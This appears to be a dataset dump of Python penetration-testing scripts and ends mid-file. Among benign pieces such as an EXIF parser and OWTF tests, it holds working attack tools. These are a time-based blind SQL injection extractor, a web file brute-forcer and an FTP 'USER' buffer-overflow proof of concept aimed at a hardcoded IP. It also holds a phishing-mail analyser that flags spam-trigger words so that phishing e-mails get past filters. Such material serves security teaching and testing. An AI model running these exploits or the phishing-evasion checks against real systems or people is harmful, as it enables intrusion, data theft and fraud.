repo_name
stringclasses
29 values
text
stringlengths
18
367k
avg_line_length
float64
5.6
132
max_line_length
int64
11
3.7k
alphnanum_fraction
float64
0.28
0.94
Python-Penetration-Testing-for-Developers
#bruteforce file names import sys import urllib import urllib2 if len(sys.argv) !=4: print "usage: %s url wordlist fileextension\n" % (sys.argv[0]) sys.exit(0) base_url = str(sys.argv[1]) wordlist= str(sys.argv[2]) extension=str(sys.argv[3]) filelist = open(wordlist,'r') foundfiles = [] for file in filelist: file=file.strip("\n") extension=extension.rstrip() url=base_url+file+"."+str(extension.strip(".")) try: request = urllib2.urlopen(url) if(request.getcode()==200): foundfiles.append(file+"."+extension.strip(".")) request.close() except urllib2.HTTPError, e: pass if len(foundfiles)>0: print "The following files exist:\n" for filename in foundfiles: print filename+"\n" else: print "No files found\n"
20.882353
66
0.69179
Penetration-Testing-Study-Notes
import requests chars = "abcdefghijklmnopqrstuvwxyz123456789*!$#/|&" for n in range(10): for i in range(1,21): for char in chars: r = requests.get("https://domain/ajs.php?buc=439'and+(select+sleep(10)+from+dual+where+\ substring((select+table_name+from+information_schema.tables+where+table_schema%3ddatabase()\ +limit+"+str(n)+",1),"+str(i)+",1)+like+'"+char+"')--+-") secs = r.elapsed.total_seconds() if secs > 10: print char, print "\n"
20.590909
96
0.64557
cybersecurity-penetration-testing
from datetime import datetime import os from time import gmtime, strftime from helper import utility from PIL import Image __author__ = 'Preston Miller & Chapin Bryce' __date__ = '20160401' __version__ = 0.01 __description__ = 'This scripts parses embedded EXIF metadata from compatible objects' def main(filename): """ The exifParser function confirms the file type and sends it to be processed. :param filename: name of the file potentially containing EXIF metadata. :return: A dictionary from getTags, containing the embedded EXIF metadata. """ # JPEG signatures signatures = ['ffd8ffdb', 'ffd8ffe0', 'ffd8ffe1', 'ffd8ffe2', 'ffd8ffe3', 'ffd8ffe8'] if utility.checkHeader(filename, signatures, 4) is True: return getTags(filename) else: raise TypeError def getTags(filename): """ The getTags function extracts the EXIF metadata from the data object. :param filename: the path and name to the data object. :return: tags and headers, tags is a dictionary containing EXIF metadata and headers are the order of keys for the CSV output. """ # Set up CSV headers headers = ['Path', 'Name', 'Size', 'Filesystem CTime', 'Filesystem MTime', 'Original Date', 'Digitized Date', 'Make', 'Model', 'Software', 'Latitude', 'Latitude Reference', 'Longitude', 'Longitude Reference', 'Exif Version', 'Height', 'Width', 'Flash', 'Scene Type'] image = Image.open(filename) # Detects if the file is corrupt without decoding the data image.verify() # Descriptions and values of EXIF tags: http://www.exiv2.org/tags.html try: exif = image._getexif() except: raise TypeError tags = {} tags['Path'] = filename tags['Name'] = os.path.basename(filename) tags['Size'] = utility.convertSize(os.path.getsize(filename)) tags['Filesystem CTime'] = strftime('%m/%d/%Y %H:%M:%S', gmtime(os.path.getctime(filename))) tags['Filesystem MTime'] = strftime('%m/%d/%Y %H:%M:%S', gmtime(os.path.getmtime(filename))) if exif: for tag in exif.keys(): if tag == 36864: tags['Exif Version'] = exif[tag] elif tag == 36867: dt = datetime.strptime(exif[tag], '%Y:%m:%d %H:%M:%S') tags['Original Date'] = dt.strftime('%m/%d/%Y %H:%M:%S') elif tag == 36868: dt = datetime.strptime(exif[tag], '%Y:%m:%d %H:%M:%S') tags['Digitized Date'] = dt.strftime('%m/%d/%Y %H:%M:%S') elif tag == 41990: # Scene tags: http://www.awaresystems.be/imaging/tiff/tifftags/privateifd/exif/scenecapturetype.html scenes = {0: 'Standard', 1: 'Landscape', 2: 'Portrait', 3: 'Night Scene'} if exif[tag] in scenes: tags['Scene Type'] = scenes[exif[tag]] else: pass elif tag == 37385: # Flash tags: http://www.awaresystems.be/imaging/tiff/tifftags/privateifd/exif/flash.html flash = {0: 'Flash did not fire', 1: 'Flash fired', 5: 'Strobe return light not detected', 7: 'Strobe return light detected', 9: 'Flash fired, compulsory flash mode', 13: 'Flash fired, compulsory flash mode, return light not detected', 15: 'Flash fired, compulsory flash mode, return light detected', 16: 'Flash did not fire, compulsory flash mode', 24: 'Flash did not fire, auto mode', 25: 'Flash fired, auto mode', 29: 'Flash fired, auto mode, return light not detected', 31: 'Flash fired, auto mode, return light detected', 32: 'No flash function', 65: 'Flash fired, red-eye reduction mode', 69: 'Flash fired, red-eye reduction mode, return light not detected', 71: 'Flash fired, red-eye reduction mode, return light detected', 73: 'Flash fired, compulsory flash mode, red-eye reduction mode', 77: 'Flash fired, compulsory flash mode, red-eye reduction mode, return light not detected', 79: 'Flash fired, compulsory flash mode, red-eye reduction mode, return light detected', 89: 'Flash fired, auto mode, red-eye reduction mode', 93: 'Flash fired, auto mode, return light not detected, red-eye reduction mode', 95: 'Flash fired, auto mode, return light detected, red-eye reduction mode'} if exif[tag] in flash: tags['Flash'] = flash[exif[tag]] elif tag == 271: tags['Make'] = exif[tag] elif tag == 272: tags['Model'] = exif[tag] elif tag == 305: tags['Software'] = exif[tag] elif tag == 40962: tags['Width'] = exif[tag] elif tag == 40963: tags['Height'] = exif[tag] elif tag == 34853: for gps in exif[tag]: if gps == 1: tags['Latitude Reference'] = exif[tag][gps] elif gps == 2: tags['Latitude'] = dmsToDecimal(exif[tag][gps]) elif gps == 3: tags['Longitude Reference'] = exif[tag][gps] elif gps == 4: tags['Longitude'] = dmsToDecimal(exif[tag][gps]) else: pass return tags, headers # http://resources.arcgis.com/EN/HELP/MAIN/10.1/index.html#//003r00000005000000 def dmsToDecimal(dms): """ Converts GPS Degree Minute Seconds format to Decimal format. :param dms: The GPS data in Degree Minute Seconds format. :return: The decimal formatted GPS coordinate. """ deg, minimum, sec = [x[0] for x in dms] if deg > 0: return "{0:.5f}".format(deg + (minimum / 60.) + (sec / 3600000.)) else: return "{0:.5f}".format(deg - (minimum / 60.) - (sec / 3600000.))
46.152672
117
0.559424
Hands-On-AWS-Penetration-Testing-with-Kali-Linux
import json import boto3 def lambda_handler(event, context): ec2 = boto3.client('ec2') reservations = ec2.describe_instances()['Reservations'] print(json.dumps(reservations, indent=2, default=str))
34
59
0.732057
PenetrationTestingScripts
__author__ = 'wilson'
10.5
21
0.545455
owtf
""" tests.functional.cli.test_type ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ """ from tests.owtftest import OWTFCliWebPluginTestCase class OWTFCliTypeTest(OWTFCliWebPluginTestCase): """See https://github.com/owtf/owtf/issues/390 and https://github.com/owtf/owtf/pull/665""" categories = ["cli", "fast"] def test_cli_type_no_group_and_type_when_http_host(self): """Web group should be selected based on the host if http specified(regression #390).""" self.run_owtf( "-s", "-t", "active", "%s://%s:%s" % (self.PROTOCOL, self.IP, self.PORT) ) self.assert_is_in_logs( "(web/", name="Worker", msg="Web plugins should have been run!" ) self.assert_is_not_in_logs( "(auxiliary/", name="Worker", msg="Aux plugins should not have been run!" ) self.assert_is_not_in_logs( "(network/", name="Worker", msg="Net plugins should not have been run!" ) # Test OWTF exited cleanly. self.assert_is_in_logs("All jobs have been done. Exiting.", name="MainProcess") def test_cli_type_no_group_and_type_when_host(self): """Net group should be selected based on the host (regression #390).""" self.run_owtf("-s", "-t", "active", "%s:%s" % (self.DOMAIN, self.PORT)) self.assert_is_in_logs( "(network/", name="Worker", msg="Net plugins should have been run!" ) self.assert_is_not_in_logs( "(web/", name="Worker", msg="Web plugins should not have been run!" ) self.assert_is_not_in_logs( "(auxiliary/", name="Worker", msg="Aux plugins should not have been run!" ) # Test OWTF exited cleanly. self.assert_is_in_logs("All jobs have been done. Exiting.", name="MainProcess") def test_cli_type_no_group_and_type_when_http_ip(self): """Web group should be selected based on the ip if http (regression #390).""" self.run_owtf( "-s", "-t", "active", "%s://%s:%s" % (self.PROTOCOL, self.IP, self.PORT) ) self.assert_is_in_logs( "(web/", name="Worker", msg="Web plugins should have been run!" ) self.assert_is_not_in_logs( "(network/", name="Worker", msg="Net plugins should not have been run!" ) self.assert_is_not_in_logs( "(auxiliary/", name="Worker", msg="Aux plugins should not have been run!" ) # Test OWTF exited cleanly. self.assert_is_in_logs("All jobs have been done. Exiting.", name="MainProcess") def test_cli_type_no_group_and_type_when_ip(self): """Net group should be selected based on the ip (regression #390).""" self.run_owtf("-s", "-t", "active", "%s:%s" % (self.IP, self.PORT)) self.assert_is_in_logs( "(network/", name="Worker", msg="Net plugins should have been run!" ) self.assert_is_not_in_logs( "(auxiliary/", name="Worker", msg="Aux plugins should not have been run!" ) self.assert_is_not_in_logs( "(web/", name="Worker", msg="Web plugins should not have been run!" ) # Test OWTF exited cleanly. self.assert_is_in_logs("All jobs have been done. Exiting.", name="MainProcess")
41.753247
96
0.575813
cybersecurity-penetration-testing
import shelve def create(): print "This only for One key " s = shelve.open("mohit.xss",writeback=True) s['xss']= [] def update(): s = shelve.open("mohit.xss",writeback=True) val1 = int(raw_input("Enter the number of values ")) for x in range(val1): val = raw_input("\n Enter the value\t") (s['xss']).append(val) s.sync() s.close() def retrieve(): r = shelve.open("mohit.xss",writeback=True) for key in r: print "*"*20 print key print r[key] print "Total Number ", len(r['xss']) r.close() while (True): print "Press" print " C for Create, \t U for Update,\t R for retrieve" print " E for exit" print "*"*40 c=raw_input("Enter \t") if (c=='C' or c=='c'): create() elif(c=='U' or c=='u'): update() elif(c=='R' or c=='r'): retrieve() elif(c=='E' or c=='e'): exit() else: print "\t Wrong Input"
18.340909
60
0.590588
Penetration-Testing-with-Shellcode
#!/usr/bin/python import socket import sys junk = 'A'*230 eip = 'B'*4 injection = junk+eip s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect = s.connect(('192.168.129.128',21)) s.recv(1024) s.send('USER '+injection+'\r\n')
17.076923
50
0.688034
cybersecurity-penetration-testing
#!/usr/bin/python3 import os, sys, re import string import argparse import yaml import textwrap import json from urllib import parse from bs4 import BeautifulSoup options = { 'format' : 'text', } executable_extensions = [ '.exe', '.dll', '.lnk', '.scr', '.sys', '.ps1', '.bat', '.js', '.jse', '.vbs', '.vba', '.vbe', '.wsl', '.cpl', ] options = { 'debug': False, 'verbose': False, 'nocolor' : False, 'log' : sys.stderr, 'format' : 'text', } class Logger: colors_map = { 'red': 31, 'green': 32, 'yellow': 33, 'blue': 34, 'magenta': 35, 'cyan': 36, 'white': 37, 'grey': 38, } colors_dict = { 'error': colors_map['red'], 'trace': colors_map['magenta'], 'info ': colors_map['green'], 'debug': colors_map['grey'], 'other': colors_map['grey'], } options = {} def __init__(self, opts = None): self.options.update(Logger.options) if opts != None and len(opts) > 0: self.options.update(opts) @staticmethod def with_color(c, s): return "\x1b[%dm%s\x1b[0m" % (c, s) def colored(self, txt, col): if self.options['nocolor']: return txt return Logger.with_color(Logger.colors_map[col], txt) # Invocation: # def out(txt, mode='info ', fd=None, color=None, noprefix=False, newline=True): @staticmethod def out(txt, fd, mode='info ', **kwargs): if txt == None or fd == 'none': return elif fd == None: raise Exception('[ERROR] Logging descriptor has not been specified!') args = { 'color': None, 'noprefix': False, 'newline': True, 'nocolor' : False } args.update(kwargs) if type(txt) != str: txt = str(txt) txt = txt.replace('\t', ' ' * 4) if args['nocolor']: col = '' elif args['color']: col = args['color'] if type(col) == str and col in Logger.colors_map.keys(): col = Logger.colors_map[col] else: col = Logger.colors_dict.setdefault(mode, Logger.colors_map['grey']) prefix = '' if mode: mode = '[%s] ' % mode if not args['noprefix']: if args['nocolor']: prefix = mode.upper() else: prefix = Logger.with_color(Logger.colors_dict['other'], '%s' % (mode.upper())) nl = '' if 'newline' in args: if args['newline']: nl = '\n' if 'force_stdout' in args: fd = sys.stdout if type(fd) == str: with open(fd, 'a') as f: prefix2 = '' if mode: prefix2 = '%s' % (mode.upper()) f.write(prefix2 + txt + nl) f.flush() else: if args['nocolor']: fd.write(prefix + txt + nl) else: fd.write(prefix + Logger.with_color(col, txt) + nl) # Info shall be used as an ordinary logging facility, for every desired output. def info(self, txt, forced = False, **kwargs): kwargs['nocolor'] = self.options['nocolor'] if forced or (self.options['verbose'] or \ self.options['debug'] ) \ or (type(self.options['log']) == str and self.options['log'] != 'none'): Logger.out(txt, self.options['log'], 'info', **kwargs) def text(self, txt, **kwargs): kwargs['noPrefix'] = True kwargs['nocolor'] = self.options['nocolor'] Logger.out(txt, self.options['log'], '', **kwargs) def dbg(self, txt, **kwargs): if self.options['debug']: kwargs['nocolor'] = self.options['nocolor'] Logger.out(txt, self.options['log'], 'debug', **kwargs) def err(self, txt, **kwargs): kwargs['nocolor'] = self.options['nocolor'] Logger.out(txt, self.options['log'], 'error', **kwargs) def fatal(self, txt, **kwargs): kwargs['nocolor'] = self.options['nocolor'] Logger.out(txt, self.options['log'], 'error', **kwargs) os._exit(1) logger = Logger(options) class PhishingMailParser: # # Based on: # https://journeys.autopilotapp.com/blog/email-spam-trigger-words/ # https://www.activecampaign.com/blog/spam-words # https://blog.hubspot.com/blog/tabid/6307/bid/30684/the-ultimate-list-of-email-spam-trigger-words.aspx # Suspicious_Words = { 'Manipulative': ( 'creating unnecessary urgency or pressure', ( "Act now", "Action", "Apply now", "Apply online", "Buy", "Buy direct", "Call", "Call now", "Click here", "Clearance", "Click here", "Do it today", "Don't delete", "Drastically reduced", "Exclusive deal", "Expire", "Get", "Get it now", "Get started now", "Important information regarding", "Instant", "Limited time", "New customers only", "Now only", "Offer expires", "Once in a lifetime", "Order now", "Please read", "Special promotion", "Take action", "This won't last", "Urgent", "While stocks last" ) ), 'Needy' : ( 'sounding desperate or exaggerated claims', ( "All-new", "Bargain", "Best price", "Bonus", "Email marketing", "Free", "For instant access", "Free gift", "Free trial", "Have you been turned down?", "Great offer", "Join millions of Americans", "Incredible deal", "Prize", "Satisfaction guaranteed", "Will not believe your eyes" ) ), 'Sleazy' : ( 'being too pushy', ( "As seen on", "Click here", "Click below", "Deal", "Direct email", "Direct marketing", "Do it today", "Order now", "Order today", "Unlimited", "What are you waiting for?", "Visit our website" ) ), 'Cheap' : ( 'no pre-qualifications, everybody wins', ( "Acceptance", "Access", "Avoid bankruptcy", "Boss", "Cancel", "Card accepted", "Certified", "Cheap", "Compare", "Compare rates", "Congratulations", "Credit card offers", "Cures", "Dear ", "Dear friend", "Drastically reduced", "Easy terms", "Free grant money", "Free hosting", "Free info", "Free membership", "Friend", "Get out of debt", "Giving away", "Guarantee", "Guaranteed", "Have you been turned down?", "Hello", "Information you requested", "Join millions", "No age restrictions", "No catch", "No experience", "No obligation", "No purchase necessary", "No questions asked", "No strings attached", "Offer", "Opportunity", "Save big", "Winner", "Winning", "Won", "You are a winner!", "You've been selected!" ) ), 'Far-fetched' : ( 'statements that are too good to be true', ( "Additional income", "All-natural", "Amazing", "Be your own boss", "Big bucks", "Billion", "Billion dollars", "Cash", "Cash bonus", "Consolidate debt and credit", "Consolidate your debt", "Double your income", "Earn", "Earn cash", "Earn extra cash", "Eliminate bad credit", "Eliminate debt", "Extra", "Fantastic deal", "Financial freedom", "Financially independent", "Free investment", "Free money", "Get paid", "Home", "Home-based", "Income", "Increase sales", "Increase traffic", "Lose", "Lose weight", "Money back", "No catch", "No fees", "No hidden costs", "No strings attached", "Potential earnings", "Pure profit", "Removes wrinkles", "Reverses aging", "Risk-free", "Serious cash", "Stop snoring", "Vacation", "Vacation offers", "Weekend getaway", "Weight loss", "While you sleep", "Work from home" ) ), 'Exaggeration' : ( 'exaggerated claims and promises', ( "100% more", "100% free", "100% satisfied", "Additional income", "Be your own boss", "Best price", "Big bucks", "Billion", "Cash bonus", "Cents on the dollar", "Consolidate debt", "Double your cash", "Double your income", "Earn extra cash", "Earn money", "Eliminate bad credit", "Extra cash", "Extra income", "Expect to earn", "Fast cash", "Financial freedom", "Free access", "Free consultation", "Free gift", "Free hosting", "Free info", "Free investment", "Free membership", "Free money", "Free preview", "Free quote", "Free trial", "Full refund", "Get out of debt", "Get paid", "Giveaway", "Guaranteed", "Increase sales", "Increase traffic", "Incredible deal", "Lower rates", "Lowest price", "Make money", "Million dollars", "Miracle", "Money back", "Once in a lifetime", "One time", "Pennies a day", "Potential earnings", "Prize", "Promise", "Pure profit", "Risk-free", "Satisfaction guaranteed", "Save big money", "Save up to", "Special promotion", ) ), 'Urgency' : ( 'create unnecessary urgency and pressure', ( "Act now", "Apply now", "Become a member", "Call now", "Click below", "Click here", "Get it now", "Do it today", "Don’t delete", "Exclusive deal", "Get started now", "Important information regarding", "Information you requested", "Instant", "Limited time", "New customers only", "Order now", "Please read", "See for yourself", "Sign up free", "Take action", "This won’t last", "Urgent", "What are you waiting for?", "While supplies last", "Will not believe your eyes", "Winner", "Winning", "You are a winner", "You have been selected", ) ), 'Spammy' : ( 'shady, spammy, or unethical behavior', ( "Bulk email", "Buy direct", "Cancel at any time", "Check or money order", "Congratulations", "Confidentiality", "Cures", "Dear friend", "Direct email", "Direct marketing", "Hidden charges", "Human growth hormone", "Internet marketing", "Lose weight", "Mass email", "Meet singles", "Multi-level marketing", "No catch", "No cost", "No credit check", "No fees", "No gimmick", "No hidden costs", "No hidden fees", "No interest", "No investment", "No obligation", "No purchase necessary", "No questions asked", "No strings attached", "Not junk", "Notspam", "Obligation", "Passwords", "Requires initial investment", "Social security number", "This isn’t a scam", "This isn’t junk", "This isn’t spam", "Undisclosed", "Unsecured credit", "Unsecured debt", "Unsolicited", "Valium", "Viagra", "Vicodin", "We hate spam", "Weight loss", "Xanax", ) ), 'Jargon' : ( 'jargon or legalese', ( "Accept credit cards", "All new", "As seen on", "Bargain", "Beneficiary", "Billing", "Bonus", "Cards accepted", "Cash", "Certified", "Cheap", "Claims", "Clearance", "Compare rates", "Credit card offers", "Deal", "Debt", "Discount", "Fantastic", "In accordance with laws", "Income", "Investment", "Join millions", "Lifetime", "Loans", "Luxury", "Marketing solution", "Message contains", "Mortgage rates", "Name brand", "Offer", "Online marketing", "Opt in", "Pre-approved", "Quote", "Rates", "Refinance", "Removal", "Reserves the right", "Score", "Search engine", "Sent in compliance", "Subject to", "Terms and conditions", "Trial", "Unlimited", "Warranty", "Web traffic", "Work from home", ) ), 'Shady' : ( 'ethically or legally questionable behavior', ( "Addresses", "Beneficiary", "Billing", "Casino", "Celebrity", "Collect child support", "Copy DVDs", "Fast viagra delivery", "Hidden", "Human growth hormone", "In accordance with laws", "Investment", "Junk", "Legal", "Life insurance", "Loan", "Lottery", "Luxury car", "Medicine", "Meet singles", "Message contains", "Miracle", "Money", "Multi-level marketing", "Nigerian", "Offshore", "Online degree", "Online pharmacy", "Passwords", "Refinance", "Request", "Rolex", "Score", "Social security number", "Spam", "This isn't spam", "Undisclosed recipient", "University diplomas", "Unsecured credit", "Unsolicited", "US dollars", "Valium", "Viagra", "Vicodin", "Warranty", "Xanax" ) ), "Commerce" : ( "", ( "As seen on", "Buy", "Buy direct", "Buying judgments", "Clearance", "Order", "Order status", "Orders shipped by shopper", ) ), "Personal" : ( "", ( "Dig up dirt on friends", "Meet singles", "Score with babes", "XXX", "Near you", ) ), "Employment" : ( "", ( "Additional income", "Be your own boss", "Compete for your business", "Double your", "Earn $", "Earn extra cash", "Earn per week", "Expect to earn", "Extra income", "Home based", "Home employment", "Homebased business", "Income from home", "Make $", "Make money", "Money making", "Online biz opportunity", "Online degree", "Opportunity", "Potential earnings", "University diplomas", "While you sleep", "Work at home", "Work from home", ) ), "Financial - General" : ( "", ( "$$$", "Affordable", "Bargain", "Beneficiary", "Best price", "Big bucks", "Cash", "Cash bonus", "Cashcashcash", "Cents on the dollar", "Cheap", "Check", "Claims", "Collect", "Compare rates", "Cost", "Credit", "Credit bureaus", "Discount", "Earn", "Easy terms", "F r e e", "Fast cash", "For just $XXX", "Hidden assets", "hidden charges", "Income", "Incredible deal", "Insurance", "Investment", "Loans", "Lowest price", "Million dollars", "Money", "Money back", "Mortgage", "Mortgage rates", "No cost", "No fees", "One hundred percent free", "Only $", "Pennies a day", "Price", "Profits", "Pure profit", "Quote", "Refinance", "Save $", "Save big money", "Save up to", "Serious cash", "Subject to credit", "They keep your money — no refund!", "Unsecured credit", "Unsecured debt", "US dollars", "Why pay more?", ) ), "Financial - Business" : ( "", ( "Accept credit cards", "Cards accepted", "Check or money order", "Credit card offers", "Explode your business", "Full refund", "Investment decision", "No credit check", "No hidden Costs", "No investment", "Requires initial investment", "Sent in compliance", "Stock alert", "Stock disclaimer statement", "Stock pick", ) ), "Financial - Personal" : ( "", ( "Avoice bankruptcy", "Calling creditors", "Collect child support", "Consolidate debt and credit", "Consolidate your debt", "Eliminate bad credit", "Eliminate debt", "Financially independent", "Get out of debt", "Get paid", "Lower interest rate", "Lower monthly payment", "Lower your mortgage rate", "Lowest insurance rates", "Pre-approved", "Refinance home", "Social security number", "Your income", ) ), "General" : ( "", ( "Acceptance", "Accordingly", "Avoid", "Chance", "Dormant", "Freedom", "Here", "Hidden", "Home", "Leave", "Lifetime", "Lose", "Maintained", "Medium", "Miracle", "Never", "Passwords", "Problem", "Remove", "Reverses", "Sample", "Satisfaction", "Solution", "Stop", "Success", "Teen", "Wife", ) ), "Greetings" : ( "", ( "Dear ", "Friend", "Hello", ) ), "Marketing" : ( "", ( "Ad", "Auto email removal", "Bulk email", "Click", "Click below", "Click here", "Click to remove", "Direct email", "Direct marketing", "Email harvest", "Email marketing", "Form", "Increase sales", "Increase traffic", "Increase your sales", "Internet market", "Internet marketing", "Marketing", "Marketing solutions", "Mass email", "Member", "Month trial offer", "More Internet Traffic", "Multi level marketing", "Notspam", "One time mailing", "Online marketing", "Open", "Opt in", "Performance", "Removal instructions", "Sale", "Sales", "Search engine listings", "Search engines", "Subscribe", "The following form", "This isn't junk", "This isn't spam", "Undisclosed recipient", "Unsubscribe", "Visit our website", "We hate spam", "Web traffic", "Will not believe your eyes", ) ), "Medical" : ( "", ( "Cures baldness", "Diagnostic", "Fast Viagra delivery", "Human growth hormone", "Life insurance", "Lose weight", "Lose weight spam", "Medicine", "No medical exams", "Online pharmacy", "Removes wrinkles", "Reverses aging", "Stop snoring", "Valium", "Viagra", "Vicodin", "Weight loss", "Xanax", ) ), "Numbers" : ( "", ( "#1", "100% free", "100% satisfied", "4U", "50% off", "Billion", "Billion dollars", "Join millions", "Join millions of Americans", "Million", "One hundred percent guaranteed", "Thousands", ) ), "Offers" : ( "", ( "Being a member", "Billing address", "Call", "Cannot be combined with any other offer", "Confidentially on all orders", "Deal", "Financial freedom", "Gift certificate", "Giving away", "Guarantee", "Have you been turned down?", "If only it were that easy", "Important information regarding", "In accordance with laws", "Long distance phone offer", "Mail in order form", "Message contains", "Name brand", "Nigerian", "No age restrictions", "No catch", "No claim forms", "No disappointment", "No experience", "No gimmick", "No inventory", "No middleman", "No obligation", "No purchase necessary", "No questions asked", "No selling", "No strings attached", "No-obligation", "Not intended", "Obligation", "Off shore", "Offer", "Per day", "Per week", "Priority mail", "Prize", "Prizes", "Produced and sent out", "Reserves the right", "Shopping spree", "Stuff on sale", "Terms and conditions", "The best rates", "They’re just giving it away", "Trial", "Unlimited", "Unsolicited", "Vacation", "Vacation offers", "Warranty", "We honor all", "Weekend getaway", "What are you waiting for?", "Who really wins?", "Win", "Winner", "Winning", "Won", "You are a winner!", "You have been selected", "You’re a Winner!", ) ), "Calls-to-Action" : ( "", ( "Cancel at any time", "Compare", "Copy accurately", "Get", "Give it away", "Print form signature", "Print out and fax", "See for yourself", "Sign up free today", ) ), "Free" : ( "", ( "Free", "Free access", "Free cell phone", "Free consultation", "Free DVD", "Free gift", "Free grant money", "Free hosting", "Free installation", "Free Instant", "Free investment", "Free leads", "Free membership", "Free money", "Free offer", "Free preview", "Free priority mail", "Free quote", "Free sample", "Free trial", "Free website", ) ), "Descriptions/Adjectives" : ( "", ( "All natural", "All new", "Amazing", "Certified", "Congratulations", "Drastically reduced", "Fantastic deal", "For free", "Guaranteed", "It’s effective", "Outstanding values", "Promise you", "Real thing", "Risk free", "Satisfaction guaranteed", ) ), "Sense of Urgency" : ( "", ( "Access", "Act now!", "Apply now", "Apply online", "Call free", "Call now", "Can't live without", "Do it today", "Don't delete", "Don't hesitate", "For instant access", "For Only", "For you", "Get it now", "Get started now", "Great offer", "Info you requested", "Information you requested", "Instant", "Limited time", "New customers only", "Now", "Now only", "Offer expires", "Once in lifetime", "One time", "Only", "Order now", "Order today", "Please read", "Special promotion", "Supplies are limited", "Take action now", "Time limited", "Urgent", "While supplies last", ) ), "Nouns" : ( "", ( "Addresses on CD", "Beverage", "Bonus", "Brand new pager", "Cable converter", "Casino", "Celebrity", "Copy DVDs", "Laser printer", "Legal", "Luxury car", "New domain extensions", "Phone", "Rolex", "Stainless steel" ) ) } def __init__(self, options): self.options = options self.results = {} def parse(self, html): self.html = html self.soup = BeautifulSoup(html, features="lxml") self.results['Embedded Images'] = self.testEmbeddedImages() self.results['Images without ALT'] = self.testImagesNoAlt() self.results['Masqueraded Links'] = self.testMaskedLinks() self.results['Use of underline tag <u>'] = self.testUnderlineTag() self.results['HTML code in <a> link tags'] = self.testLinksWithHtmlCode() self.results['<a href="..."> URL contained GET parameter'] = self.testLinksWithGETParams() self.results['<a href="..."> URL contained GET parameter with URL'] = self.testLinksWithGETParamsBeingURLs() self.results['<a href="..."> URL pointed to an executable file'] = self.testLinksWithDangerousExtensions() self.results['Mail message contained suspicious words'] = self.testSuspiciousWords() return {k: v for k, v in self.results.items() if v} @staticmethod def context(tag): s = str(tag) if len(s) < 100: return s beg = s[:50] end = s[-50:] return f'{beg}...{end}' def testUnderlineTag(self): links = self.soup('u') if not links or len(links) == 0: return [] desc = 'Underline tags are recognized by anti-spam filters and trigger additional rule (Office365: 67856001), but by their own shouldnt impact spam score.' result = f'- Found {len(links)} <u> tags. This is not by itself an indication of spam, but is known to trigger some rules (like Office365: 67856001)\n' context = '' for i in range(len(links)): context += str(links[i]) + '\n\n' if i > 5: break return { 'description' : desc, 'context' : context, 'analysis' : result } def testSuspiciousWords(self): desc = ''' Input text message contained words considered as suspicious in context of E-Mails. Therefore you will have better chances of delivering your phishing e-mail when you get rid of them. ''' context = '' result = '' text = self.html foundWords = set() totalChecked = 0 totalFound = 0 for title, words in PhishingMailParser.Suspicious_Words.items(): found = set() for word in words[1]: if word.lower() in foundWords: continue totalChecked += 1 if re.search(r'\b' + re.escape(word) + r'\b', text, re.I): found.add(word.lower()) foundWords.add(word.lower()) pos = text.find(word.lower()) if pos != -1: line = '' N = 50 if pos > N: line = text[pos-N:pos] line += text[pos:pos+N] pos2 = line.find(word.lower()) line = line[:pos2] + logger.colored(line[pos2:pos2+len(word)], "red") + line[pos2+len(word):] line = line.replace('\n', '') line = re.sub(r' {2,}', ' ', line) context += '\n' + line + '\n' if len(found) > 0: totalFound += len(found) result += f'- Found {logger.colored(len(found), "red")} {logger.colored(title, "yellow")} words {logger.colored(words[0], "cyan")}:\n' for w in found: result += f'\t- {w}\n' result += '\n' if totalFound == 0: return {} result += f'- Found in total {logger.colored(totalFound, "red")} suspicious words (out of {totalChecked} total checked).\n' return { 'description' : desc, 'context' : context, 'analysis' : result } def testLinksWithHtmlCode(self): links = self.soup('a') desc = 'Links that contain HTML code within <a> ... </a> may increase Spam score heavily' context = '' result = '' num = 0 embed = '' for link in links: text = str(link) pos = text.find('>') code = text[pos+1:] m = re.search(r'(.+)<\s*/\s*a\s*>', code, re.I) if m: code = m.group(1) suspicious = '<' in text and '>' in text if suspicious: num += 1 if num < 5: N = 70 tmp = text[:N] if len(text) > N: tmp += ' ... ' + text[-N:] context += tmp + '\n' code2 = PhishingMailParser.context(code) context += f"\n\t- {logger.colored('Code inside of <a> tag:','red')}\n\t\t" + logger.colored(code2, 'yellow') + '\n' if num > 0: result += f'- Found {num} <a> tags that contained HTML code inside!\n' result += '\t Links conveying HTML code within <a> ... </a> may greatly increase message Spam score!\n' if len(result) == 0: return [] return { 'description' : desc, 'context' : context, 'analysis' : result } def testLinksWithGETParams(self): links = self.soup('a') desc = 'Links with URLs containing GET parameters will be noticed by anti-spam filters resulting in another rule triggering on message (Office365: 21615005).' context = '' result = '' num = 0 embed = '' for link in links: try: href = link['href'] except: continue text = link.getText().replace('\n', '').strip() params = dict(parse.parse_qsl(parse.urlsplit(href).query)) if len(params) > 0: num += 1 if num < 5: context += PhishingMailParser.context(link) + '\n\n' hr = href pos = hr.find('?') if pos != -1: hr = hr[:pos] + logger.colored(hr[pos:], 'yellow') hr = hr.replace('\n', '').strip() context += f'\thref = "{hr}"\n\n' f = '' for k, v in params.items(): f += f'{k}={v[:5]}..., ' context += f'\tparams = {f}\n\n' if num > 0: result += f'- Found {logger.colored(num, "red")} <a> tags with href="..." {logger.colored("URLs containing GET params", "yellow")}.\n' result += '\t Links with URLs that contain GET params might trigger anti-spam rule (Office365: 21615005)\n' if len(result) == 0: return [] return { 'description' : desc, 'context' : context, 'analysis' : result } def testLinksWithDangerousExtensions(self): links = self.soup('a') desc = 'Message contained <a> tags with href="..." links pointing to a file with dangerous extension (such as .exe)' context = '' result = '' num = 0 embed = '' for link in links: try: href = link['href'] except: continue text = link.getText() parsed = parse.urlsplit(href) if '.' not in parsed.path: continue pos = parsed.path.rfind('.') if pos == -1: continue extension = parsed.path.lower()[pos:] if extension in executable_extensions: num += 1 if num < 5: context += PhishingMailParser.context(link) + '\n' hr = href[:90] pos1 = hr.lower().find(extension.lower()) hr = logger.colored(hr[:pos1], 'yellow') + logger.colored(hr[pos1:pos1+len(extension)], 'red') + logger.colored(hr[pos1+len(extension):], 'yellow') context += f'\thref = "{hr}"\n' context += f'\ttext = "{text[:90]}"\n\n' context += f'\tExtension matched: {logger.colored(extension, "red")}\n' if num > 0: result += f'- Found {num} <a> tags with href="..." URLs pointing to files with dangerous extensions (such as .exe).\n' result += '\t Links with URLs that point to potentially executable files might trigger anti-spam rule (Office365: 460985005)\n' if len(result) == 0: return [] return { 'description' : desc, 'context' : context, 'analysis' : result } def testLinksWithGETParamsBeingURLs(self): links = self.soup('a') desc = 'Links with URLs that contain GET parameters pointing to 